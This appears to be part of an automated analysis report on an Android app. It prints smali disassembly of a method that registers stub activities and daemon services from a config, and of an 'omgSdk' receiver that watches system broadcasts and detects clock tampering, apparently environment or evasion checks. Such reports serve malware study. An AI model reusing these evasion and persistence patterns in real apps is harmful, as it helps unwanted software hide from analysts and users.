                              413move-result-object v1
                              415iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              417invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              419iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              420const-class v2, Lcom/tmk/ywb/activity/StubPendingActivity;
                              422invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              423move-result-object v2
                              425invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              427const-string v0, "DaemonService"
                              429iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              431const-string v2, ""
                              433invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              434move-result-object v1
                              436iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              438invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              440iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              441const-class v2, Lcom/tmk/ywb/service/DaemonService;
                              443invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              444move-result-object v2
                              446invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              448const-string v0, "DoInnerService"
                              450iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              452const-string v2, ""
                              454invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              455move-result-object v1
                              457iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              459invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              461iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              462const-class v2, Lcom/tmk/ywb/service/DaemonService$InnerService;
                              464invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              465move-result-object v2
                              467invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              469const-string v0, "StubPendingService"
                              471iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              473const-string v2, ""
                              475invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              476move-result-object v1
                              478iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              480invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              482iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              483const-class v2, Lcom/tmk/ywb/service/StubPendingService;
                              485invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              486move-result-object v2
                              488invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              490const-string v0, "StubJobService"
                              492iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              494const-string v2, ""
                              496invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              497move-result-object v1
                              499iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              501invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              503iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              504const-class v2, Lcom/tmk/ywb/service/StubJob;
                              506invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              507move-result-object v2
                              509invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              511const-string v0, "StubPendingReceiver"
                              513iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              515const-string v2, ""
                              517invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              518move-result-object v1
                              520iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              522invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              524iget-object v0, p0, Lcom/core/model/MApplication$2;->d:Ljava/util/HashMap;
                              525const-class v2, Lcom/tmk/ywb/service/StubPendingReceiver;
                              527invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              528move-result-object v2
                              530invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              532const-string v0, "BinderProviderAuth"
                              534iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              536const-string v2, ""
                              538invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              539move-result-object v1
                              541iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              543invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              545const-string v0, "VKmProcess"
                              547iget-object v1, p0, Lcom/core/model/MApplication$2;->g:Lorg/json/JSONObject;
                              549const-string v2, ""
                              551invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              552move-result-object v1
                              554iget-object v2, p0, Lcom/core/model/MApplication$2;->e:Ljava/util/HashMap;
                              556invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              557try_end_2c1: return-void
                              558catch_2c2: move-exception v0
                              560invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                              561goto/16 :goto_2c1
                              562catch_2c7: move-exception v0
                              564invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              565goto/16 :goto_2c1
                              566catch_2cc: move-exception v0
                              568invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              569goto/16 :goto_2c1
                              APIs
                              • java.lang.System.currentTimeMillis
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Long.parseLong
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.content.Intent.getAction
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • android.content.Intent.getAction
                              • java.lang.String.equals
                              • android.content.Intent.getIntExtra
                              • android.content.Intent.getIntExtra
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.valueOf
                              • java.util.Set.contains
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.valueOf
                              • java.util.Set.contains
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.Integer.parseInt
                              • java.lang.Math.abs
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.RunChecker$ChangeBroadcastReceiver.a:Lcom/omgSdk/outport/RunChecker
                              Strings
                              • t1
                              • 0
                              • error last time is 0L
                              • \u65f6\u95f4\u88ab\u4fee\u6539\uff0c\u5f02\u5e38
                              • p1
                              • p2
                              • p3
                              • p4
                              • p5
                              • 100
                              • p6
                              • c1
                              • run check times =
                              • ---
                              • check times >= 3
                              • receiver get action =
                              • android.net.conn.CONNECTIVITY_CHANGE
                              • net CONNECTIVITY_CHANGE --
                              • android.intent.action.USER_PRESENT
                              • ACTION_USER_PRESENT --
                              • android.bluetooth.adapter.action.STATE_CHANGED
                              • ACTION_STATE_CHANGED --
                              • android.media.VOLUME_CHANGED_ACTION
                              • VOLUME_CHANGED_ACTION --
                              • android.intent.action.BATTERY_CHANGED
                              • level
                              • scale
                              • BATTERY_CHANGED current--
                              • p99
                              • BATTERY_CHANGED -- change
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              3move-result-wide v0
                              5iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              7invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              8move-result-object v2
                              10const-string/jumbo v3, "t1"
                              12const-string/jumbo v4, "0"
                              14invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              15move-result-object v2
                              17invoke-static {v2}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                              18move-result-wide v2
                              19const-wide/16 v4, 0x0
                              20cmp-long v4, v2, v4
                              21if-nez v4, :cond_26
                              23iget-object v4, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              25const-string/jumbo v5, " error last time is 0L"
                              27invoke-static {v4, v5}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              28cond_26: sub-long v4, v0, v2
                              29const-wide/32 v6, 0xa4cb800
                              30cmp-long v4, v4, v6
                              31if-ltz v4, :cond_cb
                              33iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              35const-string/jumbo v3, "\u65f6\u95f4\u88ab\u4fee\u6539\uff0c\u5f02\u5e38"
                              37invoke-static {v2, v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              39iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              41invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              42move-result-object v2
                              44const-string/jumbo v3, "p1"
                              46const-string/jumbo v4, "0"
                              48invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              50iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              52invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              53move-result-object v2
                              55const-string/jumbo v3, "p2"
                              57const-string/jumbo v4, "0"
                              59invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              61iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              63invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              64move-result-object v2
                              66const-string/jumbo v3, "p3"
                              68const-string/jumbo v4, "0"
                              70invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              72iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              74invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              75move-result-object v2
                              77const-string/jumbo v3, "p4"
                              79const-string/jumbo v4, "0"
                              81invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              83iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              85invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              86move-result-object v2
                              88const-string/jumbo v3, "p5"
                              90const-string/jumbo v4, "100"
                              92invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              94iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              96invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              97move-result-object v2
                              99const-string/jumbo v3, "p6"
                              101const-string/jumbo v4, "0"
                              103invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              105iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              107invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              108move-result-object v2
                              110const-string/jumbo v3, "t1"
                              111new-instance v4, Ljava/lang/StringBuilder;
                              113invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              115const-string/jumbo v5, ""
                              117invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              118move-result-object v4
                              120invoke-virtual {v4, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              121move-result-object v0
                              123invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              124move-result-object v0
                              126invoke-interface {v2, v3, v0}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              128iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              130invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              131move-result-object v0
                              133const-string/jumbo v1, "c1"
                              135const-string/jumbo v2, "0"
                              137invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              139iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              141invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;)V
                              143iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              145invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->c(Lcom/omgSdk/outport/RunChecker;)V
                              146goto_ca: return-void
                              147cond_cb: sub-long v2, v0, v2
                              148const-wide/32 v4, 0xdbba00
                              149cmp-long v2, v2, v4
                              150if-ltz v2, :cond_207
                              152iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              153const/4 v3, -0x1
                              155invoke-static {v2, v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              156move-result v2
                              157if-eqz v2, :cond_e3
                              159iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              161invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->c(Lcom/omgSdk/outport/RunChecker;)V
                              162goto/16 :goto_ca
                              163cond_e3:
                              164iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              166invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              167move-result-object v2
                              169const-string/jumbo v3, "p1"
                              171const-string/jumbo v4, "0"
                              173invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              175iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              177invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              178move-result-object v2
                              180const-string/jumbo v3, "p2"
                              182const-string/jumbo v4, "0"
                              184invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              186iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              188invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              189move-result-object v2
                              191const-string/jumbo v3, "p3"
                              193const-string/jumbo v4, "0"
                              195invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              197iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              199invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              200move-result-object v2
                              202const-string/jumbo v3, "p4"
                              204const-string/jumbo v4, "0"
                              206invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              208iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              210invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              211move-result-object v2
                              213const-string/jumbo v3, "p5"
                              215const-string/jumbo v4, "100"
                              217invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
